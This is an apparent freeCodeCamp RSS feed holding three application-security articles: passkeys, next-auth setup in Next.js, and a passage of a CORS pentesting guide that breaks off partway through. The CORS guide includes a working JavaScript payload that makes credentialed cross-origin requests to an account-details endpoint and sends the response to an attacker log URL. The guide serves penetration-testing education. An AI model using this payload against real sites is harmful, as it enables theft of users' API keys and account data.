<?xml version="1.0" encoding="UTF-8"?>
<rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/"
    xmlns:atom="http://www.w3.org/2005/Atom" xmlns:media="http://search.yahoo.com/mrss/" version="2.0">
    <channel>
        
        <title>
            <![CDATA[ Application Security - freeCodeCamp.org ]]>
        </title>
        <description>
            <![CDATA[ Browse thousands of programming tutorials written by experts. Learn Web Development, Data Science, DevOps, Security, and get developer career advice. ]]>
        </description>
        <link>https://www.freecodecamp.org/news/</link>
        <image>
            <url>https://cdn.freecodecamp.org/universal/favicons/favicon.png</url>
            <title>
                <![CDATA[ Application Security - freeCodeCamp.org ]]>
            </title>
            <link>https://www.freecodecamp.org/news/</link>
        </image>
        <generator>Eleventy</generator>
        <lastBuildDate>Sat, 16 May 2026 16:30:01 +0000</lastBuildDate>
        <atom:link href="https://www.freecodecamp.org/news/tag/application-security/rss.xml" rel="self" type="application/rss+xml" />
        <ttl>60</ttl>
        
            <item>
                <title>
                    <![CDATA[ More Secure Authentication: From Passwords to Passkeys ]]>
                </title>
                <description>
                    <![CDATA[ In the ever-evolving world of cybersecurity, authentication remains a cornerstone. Traditional methods, like passwords and social logins, are increasingly vulnerable to attacks. Enter passkeys—a revolutionary approach promising enhanced security and ... ]]>
                </description>
                <link>https://www.freecodecamp.org/news/more-secure-authentication-from-passwords-to-passkeys/</link>
                <guid isPermaLink="false">66d039dddaf2a38a6b1e1d02</guid>
                
                    <category>
                        <![CDATA[ Application Security ]]>
                    </category>
                
                    <category>
                        <![CDATA[ authentication ]]>
                    </category>
                
                    <category>
                        <![CDATA[ information security ]]>
                    </category>
                
                <dc:creator>
                    <![CDATA[ Juan Cruz Martinez ]]>
                </dc:creator>
                <pubDate>Thu, 11 Jul 2024 13:38:21 +0000</pubDate>
                <media:content url="https://www.freecodecamp.org/news/content/images/2024/07/passkeys-1.png" medium="image" />
                <content:encoded>
                    <![CDATA[ <p>In the ever-evolving world of cybersecurity, authentication remains a cornerstone. Traditional methods, like passwords and social logins, are increasingly vulnerable to attacks. Enter passkeys—a revolutionary approach promising enhanced security and user convenience. </p>
<p>This guide will explore the current state of authentication, delve into what passkeys are, how they work, and discuss the challenges and future of this technology.</p>
<h2 id="heading-the-current-state-of-authentication">The Current State of Authentication</h2>
<p>Authentication is a critical component of digital security, serving as the gateway to systems and data. Despite numerous advancements, traditional authentication methods, such as passwords and social logins, remain prevalent. But these methods are increasingly proving to be inadequate in addressing modern security challenges.</p>
<p>Passwords, once considered the gold standard, are now recognized as a significant weak link in cybersecurity. The rise in sophisticated cyberattacks, coupled with poor password practices, has highlighted the urgent need for more robust authentication mechanisms. </p>
<p>Passwords are susceptible to various attacks, including phishing, brute force, and credential stuffing. Many users also recycle passwords across multiple sites, exacerbating the risk. Managing multiple passwords can be cumbersome, leading to weak password practices and forgotten credentials.</p>
<p>Social logins, while convenient, bring their own set of issues, including privacy concerns and dependency on third-party platforms. Users are often wary of sharing their social media credentials with third-party sites, fearing data misuse. </p>
<p>Also, social logins tie users to specific platforms, which can be problematic if a user decides to leave a social network or if the platform experiences an outage.</p>
<p>Magic links, an alternative authentication method, also have their limitations. Magic links are sent via email, which is not always secure. If an email account is compromised, so is the authentication. </p>
<p>The process of checking email and clicking a link can be cumbersome, particularly for users on mobile devices or with poor internet connectivity. Emails can also be delayed, end up in spam folders, or fail to deliver, causing frustration and potential access issues for users.</p>
<p>As the digital landscape continues to evolve, the need for more secure, user-friendly, and scalable authentication solutions becomes paramount. This exploration of the inherent problems with passwords, social logins, and magic links sets the stage for understanding why passkeys are a vital innovation in the field of authentication.</p>
<h2 id="heading-what-are-passkeys">What are Passkeys?</h2>
<p>Passkeys represent a modern authentication solution designed to address the shortcomings of traditional methods. Essentially, passkeys eliminate the need for passwords by utilizing a pair of cryptographic keys to authenticate users securely.</p>
<p>At the core of passkeys is public-private key cryptography. Each user has a unique pair of keys: a public key, which is stored on the server, and a private key, which remains securely on the user's device. </p>
<p>When a user attempts to authenticate, they use a method like biometric verification (fingerprint or facial recognition) or a device-specific security feature to access their private key. </p>
<p>This private key generates a cryptographic signature that the server verifies using the corresponding public key, ensuring a secure and seamless authentication process.</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2024/07/passkeys.png" alt="Image" width="600" height="400" loading="lazy">
<em>Diagram showing the passkey authentication process</em></p>
<p>Passkeys are built on the <a target="_blank" href="https://fidoalliance.org/fido2/">FIDO2 standard</a>, which promotes interoperability and security across different devices and platforms. Major tech companies, including Google, Microsoft, Okta, and Apple, support this standard, making it a robust and widely adopted solution.</p>
<p>The use of biometrics and device-based authentication enhances security by ensuring that the private key never leaves the user's device and is never exposed to potential attackers. </p>
<p>This approach significantly reduces the risk of phishing attacks, as there are no passwords to be stolen or guessed. Passkeys also help streamline the user experience by eliminating the need to remember and manage multiple passwords.</p>
<p>Implementing passkeys involves a few key steps:</p>
<ol>
<li><strong>Registration</strong>: During account creation or passkey setup, the user's device generates a new key pair. The public key is sent to the server and stored with the user's account information.</li>
<li><strong>Authentication</strong>: When the user logs in, they use their private key to generate a cryptographic signature. The server verifies this signature using the stored public key, ensuring that the user is who they claim to be.</li>
</ol>
<blockquote>
<p>Visit <a target="_blank" href="https://learnpasskeys.io/">learnpasskeys.io</a> to learn in detail how each of these processes work.</p>
</blockquote>
<p>By leveraging these principles, passkeys offer a secure, user-friendly, and scalable solution for modern authentication needs. As developers, understanding how passkeys work and how to implement them is crucial in staying ahead in the realm of digital security.</p>
<h2 id="heading-challenges-with-passkeys">Challenges with Passkeys</h2>
<p>While passkeys offer numerous advantages over traditional authentication methods, they are not without their challenges. Understanding these challenges is crucial for developers and organizations considering adopting this technology.</p>
<h3 id="heading-adoption-and-integration">Adoption and Integration</h3>
<p>One of the primary challenges with passkeys is the integration with existing systems. </p>
<p>Many organizations rely on legacy systems that are not compatible with passkey technology, requiring significant overhauls to implement. Migrating to a passkey-based system involves not only technical adjustments but also changes in infrastructure, which can be resource-intensive and time-consuming.</p>
<h3 id="heading-user-education-and-trust">User Education and Trust</h3>
<p>Introducing a new authentication method requires educating users about how it works and why it's beneficial. </p>
<p>Users need to understand and trust the new system, which can be a hurdle given the novelty of passkeys. Ensuring that users feel comfortable and secure with the transition from passwords to passkeys is essential for widespread adoption.</p>
<h3 id="heading-technical-considerations">Technical Considerations</h3>
<p>Passkeys rely heavily on device capabilities. Not all devices support biometric authentication or the FIDO2 standard, potentially limiting the adoption of passkeys. </p>
<p>Developers need to ensure that fallback mechanisms are in place for users with unsupported devices, which can complicate the implementation process.</p>
<h3 id="heading-compatibility-and-interoperability">Compatibility and Interoperability</h3>
<p>While the FIDO2 standard promotes interoperability, ensuring compatibility across different devices, operating systems, and browsers can still be challenging. Developers need to thoroughly test their implementations to ensure a seamless user experience across all platforms.</p>
<p>Despite these challenges, the benefits of passkeys in terms of security and user experience make them a compelling option for modern authentication. By addressing these challenges proactively, developers and organizations can pave the way for a more secure and user-friendly authentication future.</p>
<h2 id="heading-the-future-of-authentication">The Future of Authentication</h2>
<p>The evolution of authentication is a testament to our ongoing quest for balance between security and convenience. From the simplicity of passwords to the robust security of passkeys, each step forward has been driven by the need to protect our digital lives against increasingly sophisticated threats.</p>
<p>Passkeys represent a significant leap in this journey, offering a secure, user-friendly alternative to traditional methods. By leveraging cryptographic keys and biometric verification, passkeys address many of the vulnerabilities that plague passwords and social logins. </p>
<p>The path to widespread adoption is not without its challenges, though, from integration hurdles to user education. But despite these obstacles, the benefits of passkeys make them a compelling option for modern authentication. </p>
<p>As developers and organizations navigate these challenges, the future of authentication looks promising. By embracing innovations like passkeys, we can move towards a more secure, seamless digital experience for all users.</p>
<p>The story of authentication is ongoing, and as we continue to innovate, the lessons from our past and the potential of our future guide us towards a safer digital world. Stay ahead of the curve, keep learning, and together, we can build a more secure digital landscape.</p>
<p>Thanks for reading!</p>
 ]]>
                </content:encoded>
            </item>
        
            <item>
                <title>
                    <![CDATA[ How to Setup Authentication and Protected Routes in Next.js 13 with next-auth.js ]]>
                </title>
                <description>
                    <![CDATA[ By Olasunkanmi Balogun This guide demonstrates the straightforward process of incorporating authentication into your Next.js app using the next-auth.js library. While the library provides numerous options (providers), this tutorial focuses on the imp... ]]>
                </description>
                <link>https://www.freecodecamp.org/news/how-to-setup-authentication-and-protected-route-in-next-js-13-with-next-auth-js/</link>
                <guid isPermaLink="false">66d46090733861e3a22a7353</guid>
                
                    <category>
                        <![CDATA[ Application Security ]]>
                    </category>
                
                    <category>
                        <![CDATA[ authentication ]]>
                    </category>
                
                    <category>
                        <![CDATA[ Next.js ]]>
                    </category>
                
                <dc:creator>
                    <![CDATA[ freeCodeCamp ]]>
                </dc:creator>
                <pubDate>Thu, 09 Nov 2023 17:54:32 +0000</pubDate>
                <media:content url="https://www.freecodecamp.org/news/content/images/2023/11/pexels-pixabay-277576.jpg" medium="image" />
                <content:encoded>
                    <![CDATA[ <p>By Olasunkanmi Balogun</p>
<p>This guide demonstrates the straightforward process of incorporating authentication into your <code>Next.js</code> app using the <a target="_blank" href="https://next-auth.js.org/"><code>next-auth.js</code></a> library. While the library provides numerous options (providers), this tutorial focuses on the implementation using the Google Provider.</p>
<p>You'll also gain insight into effortlessly setting up protected routes within your application, a task made easy by the <code>next-auth.js</code> library.</p>
<p>When you are ready, let's dive in.</p>
<h2 id="heading-how-to-set-up-the-next-authjs-library">How to Set Up the <code>next-auth.js</code> Library</h2>
<p>Once your <code>Next.js</code> application is up and running, we're ready to dive in.</p>
<p>Quick note: I'll be referencing the "app" directory consistently in this guide. If this term is new to you, take a moment to consult the <a target="_blank" href="https://nextjs.org/"><code>Next.js</code></a> documentation for clarity. If you're utilizing the "pages" directory, fear not, as the implementation is almost identical.</p>
<p>Install the <code>next-auth.js</code> library with the following command:</p>
<pre><code class="lang-npm">npm install next-auth
</code></pre>
<p>Having completed the installation, create an <code>api</code> folder in your root app folder, and inside it create an <code>auth</code> folder. Finally, create a <code>[...nextauth]</code> folder inside the <code>auth</code> folder.</p>
<p>Inside the <code>[...nextauth]</code> folder, create two files named <code>route.ts</code> and <code>options.ts</code>.</p>
<p>Your folder structure up to this point should look like this:</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2023/11/Screenshot--187-.png" alt="Folder structure image" width="600" height="400" loading="lazy"></p>
<p>Afterwards, in the <code>options.ts</code> file, insert the following code:</p>
<pre><code class="lang-ts"><span class="hljs-keyword">import</span> <span class="hljs-keyword">type</span> { NextAuthOptions } <span class="hljs-keyword">from</span> <span class="hljs-string">'next-auth'</span>
<span class="hljs-keyword">import</span> GoogleProvider <span class="hljs-keyword">from</span> <span class="hljs-string">"next-auth/providers/google"</span>;

<span class="hljs-keyword">export</span> <span class="hljs-keyword">const</span> options: NextAuthOptions = {
    providers: [
  GoogleProvider({
    clientId: process.env.GOOGLE_CLIENT_ID <span class="hljs-keyword">as</span> <span class="hljs-built_in">string</span>,
    clientSecret: process.env.GOOGLE_CLIENT_SECRET <span class="hljs-keyword">as</span> <span class="hljs-built_in">string</span>,
  })
]
}
</code></pre>
<p>We imported the <code>NextAuthOptions</code> type to ensure the <code>options</code> variable is type-safe. </p>
<p>In order to use Google Provider, we imported <code>GoogleProvider</code> from <code>next-auth</code> as illustrated above.</p>
<p>The <a target="_blank" href="https://next-auth.js.org/configuration/options#options"><code>options</code></a> variable is where we embed whichever provider we intend to use from <code>next-auth.js</code>. </p>
<p>Notice that we exported the <code>options</code> variable, enabling us to use it throughout the application (although we mostly need it the <code>route.ts</code> file). As we delve into the implementation in the <code>route.ts</code> file, we'll explore how it is utilized.</p>
<p>To use the Google Provider effectively, you need to get your <code>clientId</code> and <code>clientSecret</code> properties. Rest assured, we'll delve into this shortly. First, create an <code>.env</code> file where you'll assign values to both properties.</p>
<p><code>env</code> files are always at the root folder of your application:</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2023/11/2-1.png" alt="env file location in the project" width="600" height="400" loading="lazy"></p>
<p>Now, we'll see how you can now get your <code>clientId</code> and <code>clientSecret</code>. </p>
<p>Assuming you already have a Google account, follow these easy steps:</p>
<ol>
<li>Visit <a target="_blank" href="https://cloud.google.com">Google Cloud Platform</a>, and click the console button at the top right corner of the navbar.</li>
</ol>
<p><img src="https://www.freecodecamp.org/news/content/images/2023/11/3.png" alt="GCP navbar" width="600" height="400" loading="lazy"></p>
<ol start="2">
<li>You'll be directed to your console dashboard. On the top left, right after the Google Cloud logo, click the dropdown menu to create a new project:</li>
</ol>
<p><img src="https://www.freecodecamp.org/news/content/images/2023/11/4.gif" alt="dropdown menu illustration" width="600" height="400" loading="lazy"></p>
<ol start="3">
<li><p>Assign your project any name you prefer, and then click the "Create" button. Mine will be "Next-auth Tutorial".</p>
</li>
<li><p>You will return to your console dashboard, and the same dropdown menu should now display the project you recently created. If it doesn't, click on it and select the project.</p>
</li>
<li><p>Assuming everything is in order, scroll down to the "Quick Access" section and choose the "API &amp; Services" card. This action will lead you to the "API &amp; Services" page. In the sidebar of this page, select the "Credentials" option:</p>
</li>
</ol>
<p><img src="https://www.freecodecamp.org/news/content/images/2023/11/5.png" alt="Credentials option" width="600" height="400" loading="lazy"></p>
<ol start="6">
<li>You will be directed to the "Credentials" page. Here, click the "CONFIGURE CONSENT SCREEN" button:</li>
</ol>
<p><img src="https://www.freecodecamp.org/news/content/images/2023/11/6.png" alt="consent screen button" width="600" height="400" loading="lazy"></p>
<ol start="7">
<li>This will take you to the consent screen configuration page, where you will determine how you want to configure and register your app. Opt for the "External" option and proceed by clicking the "Create" button:</li>
</ol>
<p><img src="https://www.freecodecamp.org/news/content/images/2023/11/7.png" alt="consent screen config" width="600" height="400" loading="lazy"></p>
<ol start="8">
<li>Following this, you'll find yourself on the "OAuth Consent Screen" page. Proceed by completing these four steps:</li>
</ol>
<p>Beginning with the "OAuth Consent Screen" tab, you'll be prompted to modify your app information. The key sections to focus on are "App Information" and "Developer Contact Information." After filling these fields, click the "SAVE AND CONTINUE" button.</p>
<p>You will then transition to the "Scopes" tab. Here, once again, click the "SAVE AND CONTINUE" button.</p>
<p>Next up is the "Test Users" tab. Likewise, proceed by clicking the "SAVE AND CONTINUE" button.</p>
<p>And finally, you'll reach the last tab, the summary tab. Scroll down and select the "BACK TO DASHBOARD" button. </p>
<p>Upon completing these steps, your dashboard should resemble the following:</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2023/11/8.png" alt="dashboard page" width="600" height="400" loading="lazy"></p>
<ol start="9">
<li>Return to the "Credentials" page, and there, click the "Create Credentials" button. A dropdown menu will appear. Choose the "OAuth Client ID" option:</li>
</ol>
<p><img src="https://www.freecodecamp.org/news/content/images/2023/11/9-1.gif" alt="OAuth Client ID" width="600" height="400" loading="lazy">  </p>
<ol start="10">
<li>This action will take you to the page where you'll craft your <code>client ID</code>. On this page, you'll see a single dropdown field for your application type, which will reveal additional fields based on your selection. Select the "Web Application" option from this dropdown:</li>
</ol>
<p><img src="https://www.freecodecamp.org/news/content/images/2023/11/10.gif" alt="web application" width="600" height="400" loading="lazy"></p>
<p>Scroll down to the "Authorized redirect URI" section and paste the following URI: http://localhost:3000/api/auth/callback/google. Afterwards, hit the "CREATE" button.</p>
<ol start="11">
<li>Lastly, a modal will emerge, displaying your unique <code>Client ID</code> and <code>Client Secret</code>. Keep in mind that both values are confidential, specific to each user, and must be kept secure. For privacy reasons, both values are blurred in the image below:</li>
</ol>
<p><img src="https://www.freecodecamp.org/news/content/images/2023/11/11.png" alt="Client ID and Client Secret" width="600" height="400" loading="lazy"></p>
<p>Once you've completed these steps, go back to your code editor and paste the appropriate values of each variable in the <code>.env</code> file:</p>
<pre><code class="lang-env">GOOGLE_CLIENT_ID = client ID value
GOOGLE_CLIENT_SECRET = client secret value
</code></pre>
<p>You'll also need to generate a <code>NEXT_AUTH_SECRET</code> key to enhance the security of the authentication process in <code>next-auth.js</code>. Generate your secret key by executing the following command in your terminal:</p>
<pre><code>openssl rand -base64 <span class="hljs-number">32</span>
</code></pre><p>This command will generate a 32-character string. Copy this string and paste it as the value for the <code>NEXTAUTH_SECRET</code> variable in your <code>.env</code> file. Your final <code>.env</code> file should resemble the following:</p>
<pre><code class="lang-env">GOOGLE_CLIENT_ID = client ID value
GOOGLE_CLIENT_SECRET = client secret value
NEXT_AUTH_SECRET = next auth secret
</code></pre>
<p>After you have successfully implemented your .env variables, paste the following code into your route.ts file:</p>
<pre><code class="lang-ts"><span class="hljs-keyword">import</span> NextAuth <span class="hljs-keyword">from</span> <span class="hljs-string">"next-auth/next"</span>;
<span class="hljs-keyword">import</span> { options } <span class="hljs-keyword">from</span> <span class="hljs-string">"./options"</span>;

<span class="hljs-keyword">const</span> handler = NextAuth(options);

<span class="hljs-keyword">export</span> { handler <span class="hljs-keyword">as</span> GET, handler <span class="hljs-keyword">as</span> POST };
</code></pre>
<p>This ensures that GET and POST requests sent to this endpoint (<code>api/auth/[...nextauth]</code>) will be handled by the <code>next-auth</code> library.</p>
<p>To conclude, restart your application. It's important to note that the <code>next-auth.js</code> library won't be actively engaged at this point. The reason is that you haven't yet implemented protected routes for it to safeguard your pages. We'll explore this aspect next.</p>
<h2 id="heading-how-to-implement-protected-routes-with-next-authjs">How to Implement Protected Routes with <code>next-auth.js</code></h2>
<p>With the use of <code>Next.js</code>'s <a target="_blank" href="https://nextjs.org/docs/pages/building-your-application/routing/middleware">middleware</a>, protecting routes is very easy. </p>
<p>Begin by creating a <code>middleware.ts</code> file in the root <code>src</code> folder.</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2023/11/12.png" alt="middleware.ts file location" width="600" height="400" loading="lazy"></p>
<p>To protect all your pages uniformly, insert the following code snippet:</p>
<pre><code class="lang-ts!">export { default } from 'next-auth/middleware'
</code></pre>
<p>Alternatively, you can selectively secure specific pages by utilizing a <code>matcher</code>. For instance, protecting only home and about page would be implemented as follows:</p>
<pre><code class="lang-ts"><span class="hljs-keyword">export</span> { <span class="hljs-keyword">default</span> } <span class="hljs-keyword">from</span> <span class="hljs-string">'next-auth/middleware'</span>

<span class="hljs-keyword">export</span> <span class="hljs-keyword">const</span> config = { matcher: [<span class="hljs-string">'/'</span>, <span class="hljs-string">'/about'</span>] }
</code></pre>
<p>Now, when you visit both pages on your localhost, they will present an authentication prompt inviting you to "Sign in with Google," instead of displaying the regular content:</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2023/11/13.png" alt="13" width="600" height="400" loading="lazy"></p>
<h2 id="heading-conclusion">Conclusion</h2>
<p>In this tutorial, we've covered the essential steps to implement authentication and protected routes in your <code>Next.js</code> application using the <code>next-auth.js</code> library with the Google Provider. </p>
<p>By following these steps, you've laid a solid foundation for integrating authentication into your Next.js application, bolstering its security and enhancing the user experience. </p>
<p>With the knowledge gained here, you can now confidently develop applications that offer secure access control and personalized content based on user authentication.</p>
<p>It's also worth noting that <code>next-auth.js</code> provides multiple providers you can employ to implement authentication, not just Google Provider. </p>
 ]]>
                </content:encoded>
            </item>
        
            <item>
                <title>
                    <![CDATA[ Exploiting CORS – How to Pentest Cross-Origin Resource Sharing Vulnerabilities ]]>
                </title>
                <description>
                    <![CDATA[ All web browsers implement a security model known as the Same-Origin Policy (SOP). It restricts domains from accessing and retrieving data from other domains’ resources.  The SOP policy helps protect users from malicious scripts that could access the... ]]>
                </description>
                <link>https://www.freecodecamp.org/news/exploiting-cors-guide-to-pentesting/</link>
                <guid isPermaLink="false">66bb8a4ac332a9c775d15b5f</guid>
                
                    <category>
                        <![CDATA[ Application Security ]]>
                    </category>
                
                    <category>
                        <![CDATA[ CORS ]]>
                    </category>
                
                    <category>
                        <![CDATA[ penetration testing ]]>
                    </category>
                
                <dc:creator>
                    <![CDATA[ Nairuz Abulhul ]]>
                </dc:creator>
                <pubDate>Thu, 09 Mar 2023 16:25:31 +0000</pubDate>
                <media:content url="https://www.freecodecamp.org/news/content/images/2023/03/possessed-photography-_E1PQXKUkMw-unsplash--4-.jpg" medium="image" />
                <content:encoded>
                    <![CDATA[ <p>All web browsers implement a security model known as the <strong>Same-Origin Policy (SOP)</strong>. It restricts domains from accessing and retrieving data from other domains’ resources. </p>
<p>The SOP policy helps protect users from malicious scripts that could access their sensitive data or perform unauthorized actions on their behalf.</p>
<p>For example, if <code>**business.com**</code> tries to make an HTTP request to <code>**metrics.com**</code>, the browser, by default, will block the request because it comes from a different domain.</p>
<p>As much as the SOP sounds like a proper protection policy, it doesn’t scale well in today’s technologies that depend on each other for operation. For example, it presents challenges to APIs and microservices which have legitimate use cases for accessing and sharing information between domains.</p>
<p>Because of cases like this, there was a need for a new security mechanism that would allow for cross-domain interactions. It's known as <strong>Cross-Origin Resource Sharing (CORS)</strong>.</p>
<p>This article will cover the basics of how CORS works and identify common vulnerabilities that can occur when you don't implement CORS correctly. We will also learn how to test and exploit the misconfigurations so that by the end of this guide, you will have a better understanding of how to test and validate for CORS during a pentest assessment.</p>
<p>I will use the Port Swigger CORS labs to demonstrate the testing and exploitation steps.</p>
<h2 id="heading-table-of-contents">Table of Contents</h2>
<ul>
<li><a class="post-section-overview" href="#heading-what-is-cross-site-origin-policy-cors">What is Cross-Site Origin Policy (CORS)?</a></li>
<li><a class="post-section-overview" href="#heading-impact-of-cors-misconfigurations">Impact of CORS Misconfigurations</a></li>
<li><a class="post-section-overview" href="#heading-how-to-identify-cors">How to Identify CORS</a></li>
<li><a class="post-section-overview" href="#heading-exploitable-cors-cases">Exploitable Cases</a></li>
<li><a class="post-section-overview" href="#heading-unexploitable-case-wild-card">Unexploitable Case</a></li>
<li><a class="post-section-overview" href="#heading-mitigations">Mitigations</a></li>
<li><a class="post-section-overview" href="#heading-resources">Resources</a></li>
</ul>
<h2 id="heading-what-is-cross-site-origin-policy-cors">What is Cross-Site Origin Policy (CORS)?</h2>
<p><strong>CORS</strong> is a security feature created to selectively relax the SOP restrictions and enable controlled access to resources from different domains. CORS rules allow domains to specify which domains can request information from them by adding specific HTTP headers in the response.</p>
<p>There are several HTTP headers related to CORS, but we are interested in the two related to the commonly seen vulnerabilities — <code>**Access-Control-Allow-Origin**</code> and <code>**Access-Control-Allow-Credentials**</code><strong>.</strong></p>
<p><strong>Access-Control-Allow-Origin:</strong> This header specifies the allowed domains to read the response contents. The value can be either a wildcard character <code>**(*)**</code>, which indicates all domains are allowed, or a comma-separated list of domains.</p>
<pre><code>#All domain are allowed
Access-Control-Allow-Origin: *   


#comma-separated list <span class="hljs-keyword">of</span> domains
Access-Control-Allow-Origin: example.com, metrics.com
</code></pre><p><strong>Access-Control-Allow-Credentials</strong>: This header determines whether the domain allows for passing credentials — such as cookies or authorization headers in the cross-origin requests.</p>
<p>The value of the header is either True or False. If the header is set to “true,” the domain allows sending credentials. If it is set to “false,” or not included in the response, then it is not allowed.</p>
<pre><code>#allow passing credenitals <span class="hljs-keyword">in</span> the requests
Access-Control-Allow-Credentials: <span class="hljs-literal">true</span>

#Disallow passing <span class="hljs-keyword">in</span> the requests
Access-Control-Allow-Credentials: <span class="hljs-literal">false</span>
</code></pre><h2 id="heading-impact-of-cors-misconfigurations">Impact of CORS Misconfigurations</h2>
<p>CORS misconfigurations can have a significant impact on the security of web applications. Below are the main implications:</p>
<ul>
<li><strong>Data Theft:</strong> Attackers can use CORS vulnerabilities to steal sensitive data from applications like API keys, SSH keys, Personal identifiable information (PII), or users’ credentials.</li>
<li><strong>Cross-Site Scripting (XSS)</strong>: Attackers can use CORS vulnerabilities to perform XSS attacks by injecting malicious scripts into web pages to steal session tokens or perform unauthorized actions on behalf of the user.</li>
<li><strong>Remote Code Execution</strong> in some cases (<a target="_blank" href="https://quitten.github.io/StackStorm/">StackStorm case</a>)</li>
</ul>
<h2 id="heading-how-to-identify-cors">How to Identify CORS</h2>
<p>When testing an application for CORS, we check if any of the application’s responses contain the CORS headers. We can use the search functionality in Burp Suite to search for the headers quickly.</p>
<p>In the example below, I searched for the <code>**Access-Control-Allow-Credentials**</code> header and got three (3) responses back. Once the headers are identified, we can select the requests and send them to Repeater for further analysis.</p>
<p><img src="https://miro.medium.com/v2/resize:fit:1678/1*73ksv0ZrBWRf8dQZ7TliOg.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p><img src="https://miro.medium.com/v2/resize:fit:1574/1*FVD7mLNMgvsdWa5XVV9MSA.png" alt="Image" width="600" height="400" loading="lazy">
<em>Figures 1 &amp; 2 show the search functionality in Burp Suite to look for CORS headers.</em></p>
<p>To identify CORS issues, we can modify the Origin header in the requests with multiple values and see what response headers we get back from the application. There are four (4) known ways to do this, which we'll go over now.</p>
<h3 id="heading-1-reflected-origins">1. Reflected Origins</h3>
<p>Set the Origin header in the request to an arbitrary domain, such as <code>[**https://attackersdomain.com**](https://attackersdomain.com./)</code>, and check the <code>**Access-Control-Allow-Origin**</code> header in the response. If it reflects the exact domain you supplied in the request, it means the domain doesn’t filter for any origins.</p>
<p>The risk of this misconfiguration is high if the domain allows for credentials to be passed in the requests. We can validate that by checking if the <code>**Access-Control-Allow-Credentials**</code> header is also included in the response and is set to <code>**true**</code>.</p>
<p>However, the risk is low if passing credentials is not allowed, as the browser will not process the responses from authenticated requests.</p>
<p>📌 To exploit reflected origins, check the exploitation section — Case #1.</p>
<p><img src="https://miro.medium.com/v2/resize:fit:1155/1*pKnCmYc30pYH0jyBFhmcDw.png" alt="Figure 3 — shows the value of the Origin header included in the Access-Control-Allow-Origin header. r3dbuck3t #cors #websecurity" width="600" height="400" loading="lazy">
<em>Figure 3 — shows the value of the Origin header included in the Access-Control-Allow-Origin header.</em></p>
<h3 id="heading-2-modified-origins">2. Modified Origins</h3>
<p>Set the Origin header to a value that matches the targeted domain, but add a prefix or suffix to the domain to check if there is any validation on the beginnings or ends of the domain.</p>
<p>If no checks are in place, we can create a similar matching domain that bypasses the CORS policy on the targeted domain. For example, adding a prefix or suffix to the <code>**metrics.com**</code> domain would be something like <code>**attackmetrics.com**</code> or <code>**metrics.com.attack.com**</code>.</p>
<p>The risk of this misconfiguration is considered high if the domain allows for passing credentials with the <code>**Access-Control-Allow-Credentials**</code> header set to <strong>true</strong>. The attacker can create a similar matching domain and retrieve sensitive information from the targeted domain.</p>
<p>But the risk would be low if authenticated requests were not allowed.</p>
<p>📌To exploit modified origins, check the exploitation section — Case #1.</p>
<h3 id="heading-3-trusted-subdomains-with-insecure-protocol">3. Trusted subdomains with Insecure Protocol.</h3>
<p>Set the Origin header to an existing subdomain and see if it accepts it. If it does, it means the domain trusts all its subdomains. This is not a good idea because if one of the subdomains has a Cross-Site Scripting (XSS) vulnerability, it will allow the attacker to inject a malicious JS payload and perform unauthorized actions.</p>
<p>This misconfiguration is considered high risk if the domain accepts subdomains with an insecure protocol, such as HTTP, and the credential header is set to true. Otherwise, it will not be exploitable and would be only a poor CORS implementation.</p>
<p>📌 To exploit trusted subdomains, check the exploitation section — Case #3.</p>
<p><img src="https://miro.medium.com/v2/resize:fit:1155/1*XDNb4TzErgfuuQzqYUv12w.png" alt="Figure 4 — shows the application accepts arbitrary insecure subdomains. https://medium.com/r3d-buck3t — #cors #websecurity #web" width="600" height="400" loading="lazy">
<em>Figure 4 — shows the application accepts arbitrary insecure subdomains.</em></p>
<h3 id="heading-4-null-origin">4. Null Origin</h3>
<p>Set the Origin header to the null value — <code>**Origin: null**</code>, and see if the application sets <code>**the Access-Control-Allow-Origin**</code> header to null. If it does, it means that null origins are whitelisted.</p>
<p>The risk level is considered high if the domain allows for authenticated requests with the <code>**Access-Control-Allow-Credentials**</code> header set to <code>**true**</code><strong>.</strong></p>
<p>But if it does not, then the issue is considered low, and not exploitable.</p>
<p>📌 To exploit Null Origins, check the exploitation section- Case #2.</p>
<p><img src="https://miro.medium.com/v2/resize:fit:1155/1*jyqdCfY0J_s0ebH50WrIhA.png" alt="Figure 5 — shows the application accepted the null value and returned it in the response. #pentesting #cors #bugbounty https://medium.com/r3d-buck3t" width="600" height="400" loading="lazy">
<em>Figure 5 — shows the application accepted the null value and returned it in the response.</em></p>
<h2 id="heading-exploitable-cors-cases">Exploitable CORS Cases</h2>
<p>In this section, we will go over how to exploit the CORS misconfigurations by categorizing them into test cases for easy understanding.</p>
<h3 id="heading-case-1-reflected-origin">Case 1: Reflected Origin</h3>
<p>The application is considered vulnerable when it sets the <strong>Access-Control-Allow-Origin</strong> to the attacker’s supplied domain and enables passing credentials with the <strong>Access-Control-Allow-Credentials</strong> set to true.</p>
<pre><code>Access-Control-Allow-Origin: http:<span class="hljs-comment">//attacker-domain.com</span>
Access-Control-Allow-Credentials: <span class="hljs-literal">true</span>
</code></pre><p><img src="https://miro.medium.com/v2/resize:fit:1155/1*pKnCmYc30pYH0jyBFhmcDw.png" alt="Figure 3 — shows the value of the Origin header included in the Access-Control-Allow-Origin header. r3dbuck3t #cors #websecurity" width="600" height="400" loading="lazy">
<em>Figure 6 — shows the CORS headers for reflected origin.</em></p>
<p>The exploitation requires the attacker to host the JS script on an external server to be accessible to the user. Then they have to create an HTML page, embed the JS script below, and send it to the user.</p>
<pre><code>&lt;html&gt;
  <span class="xml"><span class="hljs-tag">&lt;<span class="hljs-name">body</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">script</span>&gt;</span>

    #Initialize the XMLHttpRequest object, and the application URL vairable 
        var req = new XMLHttpRequest();
        var url = ("APPLICATION URL");

    #MLHttpRequest object loads, exectutes reqListener() function
      req.onload = retrieveKeys;

    #Make GET request to the application accounDetails location
        req.open('GET', url + "/accountDetails",true);

    #Allow passing credentials with the requests
    req.withCredentials = true;

    #Send the request 
        req.send(null);

    function retrieveKeys() {
            location='/log?key='+this.responseText;
        };

  <span class="hljs-tag">&lt;/<span class="hljs-name">script</span>&gt;</span>
